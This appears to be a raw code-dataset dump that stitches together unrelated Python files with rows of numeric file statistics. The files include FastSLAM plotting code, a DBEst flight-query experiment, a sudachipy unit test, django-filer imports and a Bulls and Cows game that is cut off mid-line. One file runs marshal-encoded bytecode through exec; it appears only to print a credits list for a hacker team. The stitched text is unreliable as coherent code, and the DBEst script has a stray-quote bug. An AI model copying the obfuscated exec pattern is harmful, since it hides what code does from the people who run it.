of the APs discovered & the locations of the discovered APs ''' def getAPLocs(self, samples): maxWeight = -9999999999 ; idx = 0 for i in range(self.np): if samples[i].w > maxWeight: maxWeight = samples[i].w idx = i self.APLocs = samples[idx].mapMu self.IDs = samples[idx].mapID ''' Plot the particle poses for each particle. Can only be used for debugging as of now as animation support is yet to be added ''' def plot(self): print("Displaying Floor Plan.") wayPts = self.wayPts path = self.path TX = self.APLocs ID = self.IDs # display the waypoints by RRT if wayPts!=None: rows = []; cols = [] for x,y in wayPts: rows.append(x); cols.append(y) plt.plot(cols, rows, 'b.-') # display the actual AP locations if self.TXName!=None: rows = []; cols = [] for i in self.TXName: rows.append(self.name2Pos[i][0]); cols.append(self.name2Pos[i][1]) plt.text(i[1],i[0]," NAME-"+str(i), color='black') plt.plot(rows, cols, 'rx') # display the localized path if path!=None: rows = []; cols = [] for i in path: rows.append(i[0]); cols.append(i[1]) plt.plot(cols, rows, 'c.-') # display the estimated AP locations if TX!=None and ID!=None: rows = []; cols = []; ctr = 0 for i in TX: rows.append(i[0]); cols.append(i[1]) plt.text(i[1],i[0]," NAME "+str(ID[ctr]), color='red') ctr += 1 plt.plot(cols, rows, 'rx') plt.gca().invert_yaxis() plt.show() ''' The main Fast SLAM v1 class ''' def FastSLAM(self): self.path.append(self.wayPts[0][:2]) samples = self.distrib() print("Running Fast SLAM ..") for i in range(len(self.pts)): # provide action update self.motion_model(samples, self.pts[i], self.su) # provide measurement update self.fast_measure_model(samples, i) # resample only when number of effective particle drops if self.neff(samples) <= 1/3*self.np: self.resample(samples) mXY, _ = self.weightedMeanVar(samples) self.path.append(mXY) self.getAPLocs(samples) print("FastSLAM has finished running ..")
35.924225
129
0.478268
4,132
31,290
3.609874
0.084705
0.067042
0.040225
0.031711
0.854318
0.83749
0.822741
0.808595
0.80531
0.796259
0
0.02898
0.368105
31,290
871
130
35.924225
0.72542
0.04404
0
0.7753
0
0
0.012302
0
0
0
0
0
0
1
0.073756
false
0
0.017153
0
0.140652
0.020583
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c2aa3705e05d7270058a9b1c6c2dfad76a0b27d7
12,626
py
Python
experiments/flights/query_flight.py
qingzma/DBEst_MDN
3a3e26bede308b70abfad07032dc16a07a170f34
[ "BSD-2-Clause" ]
1
2022-02-23T08:01:08.000Z
2022-02-23T08:01:08.000Z
experiments/flights/query_flight.py
qingzma/DBEst_MDN
3a3e26bede308b70abfad07032dc16a07a170f34
[ "BSD-2-Clause" ]
null
null
null
experiments/flights/query_flight.py
qingzma/DBEst_MDN
3a3e26bede308b70abfad07032dc16a07a170f34
[ "BSD-2-Clause" ]
2
2020-09-28T15:39:12.000Z
2021-05-11T11:07:54.000Z
# # Created by Qingzhi Ma on Thu Jun 04 2020 # # Copyright (c) 2020 Department of Computer Science, University of Warwick # Copyright 2020 Qingzhi Ma # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an 'AS IS' BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # SELECT unique_carrier, COUNT(dep_delay) FROM flights GROUP BY unique_carrier; # hive -e "SELECT unique_carrier, COUNT(*) FROM flights GROUP BY unique_carrier" > flights_group.csv # hive -e "SELECT unique_carrier, AVG(dep_delay) FROM flights WHERE distance >= 300 AND distance <= 1000 GROUP BY unique_carrier" > flights_avg1.csv # hive -e "SELECT unique_carrier, AVG(dep_delay) FROM flights WHERE distance >= 1000 AND distance <= 1500 GROUP BY unique_carrier" > flights_avg2.csv # hive -e "SELECT unique_carrier, AVG(dep_delay) FROM flights WHERE distance >= 1500 AND distance <= 2000 GROUP BY unique_carrier" > flights_avg3.csv # hive -e "SELECT unique_carrier, SUM(dep_delay) FROM flights WHERE distance >= 300 AND distance <= 1000 GROUP BY unique_carrier" > flights_sum1.csv # hive -e "SELECT unique_carrier, SUM(dep_delay) FROM flights WHERE distance >= 1000 AND distance <= 1500 GROUP BY unique_carrier" > flights_sum2.csv # hive -e "SELECT unique_carrier, SUM(dep_delay) FROM flights WHERE distance >= 1500 AND distance <= 2000 GROUP BY unique_carrier" > flights_sum3.csv # hive -e "SELECT unique_carrier, COUNT(*) FROM flights WHERE dep_delay>=1000 AND dep_delay<=1200 AND origin_state_abr='LA' GROUP BY unique_carrier" > flights_one_model_1_x.csv from dbestclient.executor.executor import SqlExecutor class Query1: def __init__(self): self.mdl_name = None self.sql_executor = None self.model_size = "1m" def build_model(self, mdl_name: str = "flight_1m", encoder='binary'): self.mdl_name = mdl_name self.sql_executor = SqlExecutor() self.sql_executor.execute("set v='True'") # self.sql_executor.execute("set device='cpu'") self.sql_executor.execute("set b_grid_search='false'") self.sql_executor.execute("set b_print_to_screen='false'") self.sql_executor.execute("set csv_split_char=','") self.sql_executor.execute("set batch_size=1000") self.sql_executor.execute("set table_header=" + "'year_date,unique_carrier,origin,origin_state_abr,dest,dest_state_abr,dep_delay,taxi_out,taxi_in,arr_delay,air_time,distance'") self.sql_executor.execute("set encoder='"+ encoder +"'") if self.model_size =="1m": self.sql_executor.execute("set n_mdn_layer_node_reg=10") # 20 self.sql_executor.execute("set n_mdn_layer_node_density=15") # 30 self.sql_executor.execute("set n_jobs=1") # self.sql_executor.execute("set n_hidden_layer=1") # 2 self.sql_executor.execute("set n_epoch=20") # 50 self.sql_executor.execute("set n_gaussians_reg=8") # self.sql_executor.execute("set n_gaussians_density=10") # 8 self.sql_executor.execute( "create table "+mdl_name+"(dep_delay real, distance real) from '../data/flights/flight_1m.csv' GROUP BY unique_carrier method uniform size 'num_points/flights_group.csv' ") elif self.model_size == "5m": self.sql_executor.execute("set n_mdn_layer_node_reg=20") # 20 self.sql_executor.execute("set n_mdn_layer_node_density=30") # 30 self.sql_executor.execute("set n_jobs=1") # self.sql_executor.execute("set n_hidden_layer=1") # 1 self.sql_executor.execute("set n_epoch=20") # 20 self.sql_executor.execute("set n_gaussians_reg=8") # self.sql_executor.execute("set n_gaussians_density=8") # 10 self.sql_executor.execute( "create table "+mdl_name+"(dep_delay real, distance real) from '../data/flights/flight_5m.csv' GROUP BY unique_carrier method uniform size 'num_points/flights_group.csv' ") # self.sql_executor.execute("set n_mdn_layer_node_reg=30") # 5 # self.sql_executor.execute("set n_mdn_layer_node_density=30") # 30 # self.sql_executor.execute("set n_jobs=1") # 2 # self.sql_executor.execute("set n_hidden_layer=1") # 1 # self.sql_executor.execute("set n_epoch=20") # 20 # self.sql_executor.execute("set n_gaussians_reg=8") # 3 # self.sql_executor.execute("set n_gaussians_density=8") # 10 # self.sql_executor.execute( # "create table "+mdl_name+"(dep_delay real, distance real) from '../data/flights/flights_10k.csv' GROUP BY unique_carrier method uniform size 'num_points/flights_group.csv' ") # num_of_points57.csv # SELECT unique_carrier, AVG(dep_delay) FROM flights WHERE 300<=distance<=1000 GROUP BY unique_carrier; # self.sql_executor.execute( # "create table "+"ss10g_binary_30"+"(ss_sales_price real, ss_sold_date_sk real) from '../data/tpcds/10g/ss_10g_520k.csv' GROUP BY ss_store_sk method uniform size 'num_points/ss_10g.csv' ") # num_of_points57.csv def build_one_model(self, mdl_name: str = "flight_1m", encoder='binary'): self.mdl_name = mdl_name self.sql_executor = SqlExecutor() self.sql_executor.execute("set v='True'") # self.sql_executor.execute("set device='cpu'") self.sql_executor.execute("set one_model='true'") self.sql_executor.execute("set b_grid_search='false'") self.sql_executor.execute("set b_print_to_screen='false'") self.sql_executor.execute("set csv_split_char=','") self.sql_executor.execute("set batch_size=1000") self.sql_executor.execute("set table_header=" + "'year_date,unique_carrier,origin,origin_state_abr,dest,dest_state_abr,dep_delay,taxi_out,taxi_in,arr_delay,air_time,distance'") self.sql_executor.execute("set encoder='"+ encoder +"'") model_size = "5m" if model_size =="1m": self.sql_executor.execute("set n_mdn_layer_node_reg=20") # 5 self.sql_executor.execute("set n_mdn_layer_node_density=30") # 30 self.sql_executor.execute("set n_jobs=1") # 2 self.sql_executor.execute("set n_hidden_layer=2") # 1 self.sql_executor.execute("set n_epoch=20") # 20 self.sql_executor.execute("set n_gaussians_reg=8") # 3 self.sql_executor.execute("set n_gaussians_density=8") # 10 self.sql_executor.execute( "create table "+mdl_name+"(distance real, dep_delay real, origin_state_abr categorical) from '../data/flights/flight_1m.csv' GROUP BY unique_carrier method uniform size 0.001") elif model_size == "5m": self.sql_executor.execute("set n_mdn_layer_node_reg=50") # 20 self.sql_executor.execute("set n_mdn_layer_node_density=50") # 30 self.sql_executor.execute("set n_jobs=1") # self.sql_executor.execute("set n_hidden_layer=2") # 1 self.sql_executor.execute("set n_epoch=20") # 50 self.sql_executor.execute("set n_gaussians_reg=8") # 3 self.sql_executor.execute("set n_gaussians_density=8") # 10 self.sql_executor.execute( "create table "+mdl_name+"(distance real, dep_delay real, origin_state_abr categorical) from '../data/flights/flight_5m.csv' GROUP BY unique_carrier method uniform size 0.005") # self.sql_executor.execute( # "create table "+mdl_name+"(distance real, dep_delay real, origin_state_abr categorical) from '../data/flights/flight_5m.csv' GROUP BY unique_carrier method uniform size 0.005")#'num_points/flights_group.csv' ") # num_of_points57.csv #SELECT unique_carrier, COUNT(*) FROM flights WHERE origin_state_abr='LA' AND dest_state_abr='CA' GROUP BY unique_carrier; def workload(self, mdl_name, result2file: str = 'experiments/flights/results/mdn1m/', n_jobs=1): self.sql_executor.mdl_name = mdl_name self.sql_executor.execute("set n_jobs=" + str(n_jobs)+'"') # self.sql_executor.execute( # "set result2file='" + result2file + "7.txt'") # self.sql_executor.execute("select unique_carrier, COUNT(dep_delay) from " + self.mdl_name + # " where 300<=distance<=1000 GROUP BY unique_carrier") # self.sql_executor.execute( # "set result2file='" + result2file + "8.txt'") # self.sql_executor.execute("SELECT unique_carrier, COUNT(dep_delay) from " + self.mdl_name + # " where 1000<=distance<=1500 GROUP BY unique_carrier",) # self.sql_executor.execute( # "set result2file='" + result2file + "9.txt'") # self.sql_executor.execute("SELECT unique_carrier, COUNT(dep_delay) from " + self.mdl_name + # " where 1500<=distance<=2000 GROUP BY unique_carrier",) # self.sql_executor.execute( # "set result2file='" + result2file + "10.txt'") # self.sql_executor.execute("SELECT unique_carrier, SUM(dep_delay) from " + self.mdl_name + # " where 300<=distance<=1000 GROUP BY unique_carrier",) # self.sql_executor.execute( # "set result2file='" + result2file + "11.txt'") # self.sql_executor.execute("SELECT unique_carrier, SUM(dep_delay) from " + self.mdl_name + # " where 1000<=distance<=1500 GROUP BY unique_carrier",) # self.sql_executor.execute( # "set result2file='" + result2file + "12.txt'") # self.sql_executor.execute("SELECT unique_carrier, SUM(dep_delay) from " + self.mdl_name + # " where 1500<=distance<=2000 GROUP BY unique_carrier",) # self.sql_executor.execute( # "set result2file='" + result2file + "13.txt'") # self.sql_executor.execute("SELECT unique_carrier, AVG(dep_delay) from " + self.mdl_name + # " where 300<=distance<=1000 GROUP BY unique_carrier",) # self.sql_executor.execute( # "set result2file='" + result2file + "14.txt'") # self.sql_executor.execute("SELECT unique_carrier, AVG(dep_delay) from " + self.mdl_name + # " where 1000<=distance<=1500 GROUP BY unique_carrier",) # self.sql_executor.execute( # "set result2file='" + result2file + "15.txt'") # self.sql_executor.execute("SELECT unique_carrier, AVG(dep_delay) from " + self.mdl_name + # " where 1500<=distance<=2000 GROUP BY unique_carrier",) self.sql_executor.execute( "set result2file='" + result2file + "one_model_1x.txt'") self.sql_executor.execute("SELECT unique_carrier, COUNT(distance) FROM "+mdl_name+" where 1000<=dep_delay<=1200 AND origin_state_abr='LA' GROUP BY unique_carrier") if __name__ == "__main__": query1 = Query1() query1.model_size = "1m" query1.build_model(mdl_name="flights_1m_binary_small",encoder="binary") # # query1.build_model(mdl_name="flights_1m_onehot",encoder="onehot") # # query1.build_model(mdl_name="flights_1m_embedding",encoder="embedding") # query1.workload("flights_5m_binary",result2file="experiments/flights/results/mdn5m/") query1.build_one_model("flight_one_model1",encoder="binary") # query1.build_one_model("flight_one_model_embedding",encoder="embedding") query1.workload("flight_one_model1",result2file="experiments/flights/results/mdn5m/")
64.748718
247
0.638365
1,632
12,626
4.682598
0.132353
0.076943
0.164878
0.230306
0.843104
0.814316
0.795734
0.763151
0.752552
0.74313
0
0.039713
0.250119
12,626
194
248
65.082474
0.767427
0.481625
0
0.585366
0
0.073171
0.333645
0.147109
0
0
0
0
0
1
0.04878
false
0
0.012195
0
0.073171
0.02439
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c2ad12161df1fa7cfe371fa9e786561400f6a473
39
py
Python
NGSIM_env/envs/__init__.py
MCZhi/Driving-IRL-NGSIM
74a3ac95eb34b0f1ab52772a99cfafe6902d2799
[ "MIT" ]
37
2021-07-20T06:49:50.000Z
2022-03-24T06:23:55.000Z
NGSIM_env/envs/__init__.py
MCZhi/NGSIM-env
74a3ac95eb34b0f1ab52772a99cfafe6902d2799
[ "MIT" ]
2
2021-09-07T10:52:20.000Z
2021-12-09T03:03:08.000Z
NGSIM_env/envs/__init__.py
MCZhi/NGSIM-env
74a3ac95eb34b0f1ab52772a99cfafe6902d2799
[ "MIT" ]
10
2021-07-30T08:01:33.000Z
2022-03-22T11:39:09.000Z
from NGSIM_env.envs.ngsim_env import *
19.5
38
0.820513
7
39
4.285714
0.714286
0.533333
0
0
0
0
0
0
0
0
0
0
0.102564
39
1
39
39
0.857143
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
6c6e2ea912fd443c8073d5fb6e698cda998f7121
2,202
py
Python
module/about.py
Afrizall/Encript-Python
92d55484047ca60448d2463719176aff724fd341
[ "Apache-2.0" ]
1
2020-03-07T01:46:32.000Z
2020-03-07T01:46:32.000Z
module/about.py
Afrizall/Encript-Python
92d55484047ca60448d2463719176aff724fd341
[ "Apache-2.0" ]
null
null
null
module/about.py
Afrizall/Encript-Python
92d55484047ca60448d2463719176aff724fd341
[ "Apache-2.0" ]
null
null
null
import marshal exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00so\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00d\x00\x00d\x02\x00l\x00\x00m\x04\x00Z\x05\x00\x01d\x03\x00\x84\x00\x00Z\x06\x00e\x00\x00j\x04\x00d\x04\x00\x83\x01\x00\x01He\x06\x00d\x05\x00\x83\x01\x00\x01e\x06\x00d\x06\x00\x83\x01\x00\x01d\x01\x00S(\x07\x00\x00\x00i\xff\xff\xff\xffN(\x01\x00\x00\x00t\x05\x00\x00\x00sleepc\x01\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00sM\x00\x00\x00xF\x00|\x00\x00d\x01\x00\x17D]:\x00}\x01\x00t\x00\x00j\x01\x00j\x02\x00|\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00j\x03\x00\x83\x00\x00\x01t\x04\x00j\x05\x00t\x06\x00j\x06\x00\x83\x00\x00d\x02\x00\x14\x83\x01\x00\x01q\x0b\x00Wd\x00\x00S(\x03\x00\x00\x00Ns\x01\x00\x00\x00\ng\x9a\x99\x99\x99\x99\x99\xc9?(\x07\x00\x00\x00t\x03\x00\x00\x00syst\x06\x00\x00\x00stdoutt\x05\x00\x00\x00writet\x05\x00\x00\x00flusht\x04\x00\x00\x00timeR\x00\x00\x00\x00t\x06\x00\x00\x00random(\x02\x00\x00\x00t\x01\x00\x00\x00st\x01\x00\x00\x00c(\x00\x00\x00\x00(\x00\x00\x00\x00t\x00\x00\x00\x00t\x03\x00\x00\x00rus\x08\x00\x00\x00s\x08\x00\x00\x00\x00\x01\x11\x01\x10\x01\r\x01i\x01\x00\x00\x00s?\x01\x00\x00\x1b[39;1m Thank You: Allah Swt.. dan teman2 ku semuanya..\n\x1b[41;1;39m Member Team:\x1b[0m\x1b[32;1m Dfv47, Mr.Tr3v!0n, Akin5, Mr.Devil, Omest, \ncyb3r_gh0st, PHANTOMBLIZT, Adi bordir, Kadal15, \njejaka tutorial, Wannabe_ID, Amriezz, Mr. Cggaruda003T, \nTU4N Bl4cK H4T10, Mr.$3P0N9#013, minewizard, Sad Boy 1922, Mr4lf, Zhu Bai Lee\ns\xc0\x00\x00\x00\x1b[41;1;39mThanks You my Firends:\x1b[0m\x1b[39;1m Dark fighter, fikri, Riyan mrz, Rian, Accil, \nYulia Febriana, Nisa, Mr.1C3CR34M, Hacker Alicia, Mr.Server, Nursyamsiah, wahyu, And All Friends :)..\n(\x07\x00\x00\x00R\x05\x00\x00\x00t\x02\x00\x00\x00osR\x01\x00\x00\x00R\x06\x00\x00\x00R\x00\x00\x00\x00t\x07\x00\x00\x00timeoutR\n\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00R\t\x00\x00\x00t\x08\x00\x00\x00<module>\x02\x00\x00\x00s\x16\x00\x00\x00\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x10\x02\t\x06\r\x01\x01\x01\x03\x05\x07\x01\x03\x02'))
1,101
2,187
0.756131
468
2,202
3.553419
0.299145
0.299459
0.200241
0.165965
0.175586
0.134696
0.072159
0.039687
0.025256
0.025256
0
0.359514
0.02861
2,202
2
2,187
1,101
0.417952
0
0
0
0
0.5
0.982297
0.78847
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
1
0
1
0
0
0
0
13
665b29083f2b424126d8627257a25251e09008dd
5,520
py
Python
tests/plugin/test_prolongedsoundmarkinput.py
polm/SudachiPy
9eae063baa65d230cd89e382685fe9e410577125
[ "Apache-2.0" ]
3
2017-09-21T14:56:30.000Z
2017-11-10T05:44:30.000Z
tests/plugin/test_prolongedsoundmarkinput.py
polm/SudachiPy
9eae063baa65d230cd89e382685fe9e410577125
[ "Apache-2.0" ]
null
null
null
tests/plugin/test_prolongedsoundmarkinput.py
polm/SudachiPy
9eae063baa65d230cd89e382685fe9e410577125
[ "Apache-2.0" ]
1
2021-12-17T05:39:38.000Z
2021-12-17T05:39:38.000Z
# Copyright (c) 2019 Works Applications Co., Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from unittest import TestCase from sudachipy.plugin.input_text import ProlongedSoundMarkInputTextPlugin from sudachipy.utf8inputtextbuilder import UTF8InputTextBuilder from tests.mock_grammar import mocked_grammar class TestProlongedSoundMarkInputTextPlugin(TestCase): def setUp(self) -> None: self.plugin = ProlongedSoundMarkInputTextPlugin(None) for psm in ['ー', '〜', '〰']: self.plugin._psm_set.add(ord(psm)) def test_combine_continuous_prolonged_sound_mark(self): original = 'ゴーール' normalized = 'ゴール' builder = UTF8InputTextBuilder(original, mocked_grammar) self.plugin.rewrite(builder) text = builder.build() self.assertEqual(original, text.original_text) self.assertEqual(normalized, text.get_text()) bytes_ = text.get_byte_text() self.assertEqual(9, len(bytes_)) self.assertEqual(b'\xe3\x82\xb4\xe3\x83\xbc\xe3\x83\xab', bytes_) self.assertEqual(0, text.get_original_index(0)) self.assertEqual(1, text.get_original_index(3)) self.assertEqual(3, text.get_original_index(6)) self.assertEqual(4, text.get_original_index(9)) def test_combined_continuous_prolonged_sound_marks_at_end(self): original = 'スーパーー' normalized = 'スーパー' builder = UTF8InputTextBuilder(original, mocked_grammar) self.plugin.rewrite(builder) text = builder.build() self.assertEqual(original, text.original_text) self.assertEqual(normalized, text.get_text()) bytes_ = text.get_byte_text() self.assertEqual(12, len(bytes_)) self.assertEqual(b'\xe3\x82\xb9\xe3\x83\xbc\xe3\x83\x91\xe3\x83\xbc', bytes_) self.assertEqual(0, text.get_original_index(0)) self.assertEqual(1, text.get_original_index(3)) self.assertEqual(2, text.get_original_index(6)) self.assertEqual(3, text.get_original_index(9)) self.assertEqual(5, text.get_original_index(12)) def test_combine_continuous_prolonged_sound_marks_multi_times(self): original = 'エーービーーーシーーーー' normalized = 'エービーシー' builder = UTF8InputTextBuilder(original, mocked_grammar) self.plugin.rewrite(builder) text = builder.build() self.assertEqual(original, text.original_text) self.assertEqual(normalized, text.get_text()) bytes_ = text.get_byte_text() self.assertEqual(18, len(bytes_)) self.assertEqual(b'\xe3\x82\xa8\xe3\x83\xbc\xe3\x83\x93\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xbc', bytes_) self.assertEqual(0, text.get_original_index(0)) self.assertEqual(1, text.get_original_index(3)) self.assertEqual(3, text.get_original_index(6)) self.assertEqual(4, text.get_original_index(9)) self.assertEqual(7, text.get_original_index(12)) self.assertEqual(8, text.get_original_index(15)) self.assertEqual(12, text.get_original_index(18)) def test_combine_continuous_prolonged_sound_marks_multi_symbol_types(self): original = 'エーービ〜〜〜シ〰〰〰〰' normalized = 'エービーシー' builder = UTF8InputTextBuilder(original, mocked_grammar) self.plugin.rewrite(builder) text = builder.build() self.assertEqual(original, text.original_text) self.assertEqual(normalized, text.get_text()) bytes_ = text.get_byte_text() self.assertEqual(18, len(bytes_)) self.assertEqual(b'\xe3\x82\xa8\xe3\x83\xbc\xe3\x83\x93\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xbc', bytes_) self.assertEqual(0, text.get_original_index(0)) self.assertEqual(1, text.get_original_index(3)) self.assertEqual(3, text.get_original_index(6)) self.assertEqual(4, text.get_original_index(9)) self.assertEqual(7, text.get_original_index(12)) self.assertEqual(8, text.get_original_index(15)) self.assertEqual(12, text.get_original_index(18)) def test_combine_continuous_prolonged_sound_marks_multi_mixed_symbol_types(self): original = 'エー〜ビ〜〰ーシ〰ー〰〜' normalized = 'エービーシー' builder = UTF8InputTextBuilder(original, mocked_grammar) self.plugin.rewrite(builder) text = builder.build() self.assertEqual(original, text.original_text) self.assertEqual(normalized, text.get_text()) bytes_ = text.get_byte_text() self.assertEqual(18, len(bytes_)) self.assertEqual(b'\xe3\x82\xa8\xe3\x83\xbc\xe3\x83\x93\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xbc', bytes_) self.assertEqual(0, text.get_original_index(0)) self.assertEqual(1, text.get_original_index(3)) self.assertEqual(3, text.get_original_index(6)) self.assertEqual(4, text.get_original_index(9)) self.assertEqual(7, text.get_original_index(12)) self.assertEqual(8, text.get_original_index(15)) self.assertEqual(12, text.get_original_index(18))
42.790698
109
0.698732
726
5,520
5.139118
0.214876
0.201018
0.120611
0.160815
0.725007
0.711069
0.700884
0.665237
0.652372
0.652372
0
0.041983
0.188768
5,520
128
110
43.125
0.787852
0.10308
0
0.702128
0
0.042553
0.075552
0.060766
0
0
0
0
0.531915
1
0.06383
false
0
0.042553
0
0.117021
0
0
0
0
null
1
0
1
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
66a6550d15d272760fb5f8f6626e698aeb635190
223
py
Python
filer/models/__init__.py
maykinmedia/django-filer
1b7c6b16f7fb19d89f9bd9df624d2de666837b67
[ "BSD-3-Clause" ]
1
2019-04-15T10:28:46.000Z
2019-04-15T10:28:46.000Z
filer/models/__init__.py
techdragon/django-filer
085b880aa6bb738fe582a3ce40c25bd97f5bbe06
[ "BSD-3-Clause" ]
1
2018-01-31T12:08:48.000Z
2018-01-31T12:08:48.000Z
filer/models/__init__.py
techdragon/django-filer
085b880aa6bb738fe582a3ce40c25bd97f5bbe06
[ "BSD-3-Clause" ]
3
2016-12-28T03:32:44.000Z
2018-05-28T15:13:38.000Z
#-*- coding: utf-8 -*- from filer.models.clipboardmodels import * from filer.models.filemodels import * from filer.models.foldermodels import * from filer.models.imagemodels import * from filer.models.virtualitems import *
31.857143
42
0.784753
28
223
6.25
0.428571
0.257143
0.428571
0.48
0
0
0
0
0
0
0
0.005025
0.107623
223
6
43
37.166667
0.874372
0.09417
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
06c8e1cd81b2fa4a5469b3e9aed4b83bf9825968
34
py
Python
week_2/import_test.py
Precission/pynet
427fc2f0437c3e897caf397fa753797cdb17e44f
[ "Apache-2.0" ]
1
2018-07-12T16:44:29.000Z
2018-07-12T16:44:29.000Z
cls2_ex1.py
qetennyson/PyNet_Ansible_KBCourse
57feaa98873ab824fa7c8c4069f3cd3c18d8dc53
[ "Apache-2.0" ]
null
null
null
cls2_ex1.py
qetennyson/PyNet_Ansible_KBCourse
57feaa98873ab824fa7c8c4069f3cd3c18d8dc53
[ "Apache-2.0" ]
null
null
null
import my_func my_func.my_func()
8.5
17
0.794118
7
34
3.428571
0.428571
0.75
0.666667
1
0
0
0
0
0
0
0
0
0.117647
34
3
18
11.333333
0.8
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
8
663c98f0c662091df6ee412efbd0ae138fc376af
153
py
Python
devind_notifications/tasks/__init__.py
devind-team/devind-django-notifications
cf74bb0fdc9308f87a563b46c25d9a239da20841
[ "MIT" ]
null
null
null
devind_notifications/tasks/__init__.py
devind-team/devind-django-notifications
cf74bb0fdc9308f87a563b46c25d9a239da20841
[ "MIT" ]
4
2022-03-01T08:11:57.000Z
2022-03-31T14:10:58.000Z
devind_notifications/tasks/__init__.py
devind-team/devind-django-notifications
cf74bb0fdc9308f87a563b46c25d9a239da20841
[ "MIT" ]
null
null
null
from .congratulation_tasks import happy_birthday from .mail_tasks import send_mail from .notification_tasks import send_notification, send_notifications
38.25
69
0.888889
20
153
6.45
0.5
0.255814
0.232558
0
0
0
0
0
0
0
0
0
0.084967
153
3
70
51
0.921429
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b090a7773f564d4aeacf610afa06708779f8943a
11,902
py
Python
bulls_and_cows.py
gloriajzhou/bulls_and_cows
73f8e6b7ec1fc9512d083b5b34b7a082df9b1796
[ "MIT" ]
null
null
null
bulls_and_cows.py
gloriajzhou/bulls_and_cows
73f8e6b7ec1fc9512d083b5b34b7a082df9b1796
[ "MIT" ]
null
null
null
bulls_and_cows.py
gloriajzhou/bulls_and_cows
73f8e6b7ec1fc9512d083b5b34b7a082df9b1796
[ "MIT" ]
null
null
null
# Bulls and Cows (4-digit numerical version) # Generate a random four-digit code import random print("Can you break the four-digit code?") print("First, let's go over some terminology.") print("One 'hit' means there is one number in the code you guessed that is both correct and in the correct position.") print("One 'duck' means there is one number in the code you guessed that is correct but in the wrong position.") code_gen = str(random.randint(1000, 9999)) first_val = code_gen[0] second_val = code_gen[1] third_val = code_gen[2] fourth_val = code_gen[3] player_status = "Y" guess_count = 0 while player_status == "Y" or player_status == "y": print("Please enter your guess as a four-digit integer.") code_guess = str(input()) val_one = code_guess[0] val_two = code_guess[1] val_three = code_guess[2] val_four = code_guess[3] guess_count = guess_count + 1 if code_guess == code_gen: print("Congratulations! You have cracked the code.") player_status = "N" guess_count_string = str(guess_count) print("You used a total of " + guess_count_string + " guesses.") elif (first_val == val_one and second_val == val_two and third_val == val_three) or (first_val == val_one and second_val == val_two and fourth_val == val_four) or (first_val == val_one and third_val == val_three and fourth_val == val_four) or (second_val == val_two and third_val == val_three and fourth_val == val_four): print("There are 3 hits, 0 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_one and second_val == val_two and third_val == val_four and fourth_val == val_three) or (first_val == val_one and second_val == val_four and third_val == val_three and fourth_val == val_two) or (first_val == val_four and second_val == val_two and third_val == val_three and fourth_val == val_one) or (first_val == val_two and second_val == val_one and third_val == val_three and fourth_val == val_four) or (first_val == val_three and second_val == val_two and third_val == val_one and fourth_val == val_four) or (first_val == val_one and second_val == val_three and third_val == val_two and fourth_val == val_four): print("There are 2 hits, 2 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_one and second_val == val_two and (third_val == val_four or fourth_val == val_three)) or (first_val == val_one and third_val == val_three and (second_val == val_four or fourth_val == val_two)) or (first_val == val_one and fourth_val == val_four and (second_val == val_three or third_val == val_two)) or (second_val == val_two and third_val == val_three and (first_val == val_four or fourth_val == val_one)) or (second_val == val_two and fourth_val == val_four and (first_val == val_three or third_val == val_one)) or (third_val == val_three and fourth_val == val_four and (first_val == val_two or second_val == val_one)): print("There are 2 hits, 1 duck.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif 